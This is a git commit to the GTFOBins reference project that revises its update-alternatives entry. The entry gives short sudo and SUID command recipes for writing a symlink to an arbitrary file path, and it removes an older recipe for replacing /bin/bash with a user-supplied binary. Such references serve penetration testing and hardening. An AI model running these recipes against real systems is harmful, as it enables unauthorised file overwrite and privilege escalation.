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Improve update-alternatives

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This commit is contained in:
Andrea Cardaci 2020-11-17 18:51:32 +01:00
parent e212f23455
commit 22899a5159
1 changed files with 12 additions and 3 deletions
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15
_gtfobins/update-alternatives.md
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@ -1,8 +1,17 @@
---
functions:
sudo:
- description: Replace existing binary with symlink pointing to user supplied binary
- description: Write in `$LFILE` a symlink to `$TF`.
code: |
cp file_to_replace_bash /tmp/bash
sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1
LFILE=/path/to/file_to_write
TF=$(mktemp)
echo DATA >$TF
sudo update-alternatives --force --install "$LFILE" x "$TF" 0
suid:
- description: Write in `$LFILE` a symlink to `$TF`.
code: |
LFILE=/path/to/file_to_write
TF=$(mktemp)
echo DATA >$TF
./update-alternatives --force --install "$LFILE" x "$TF" 0
---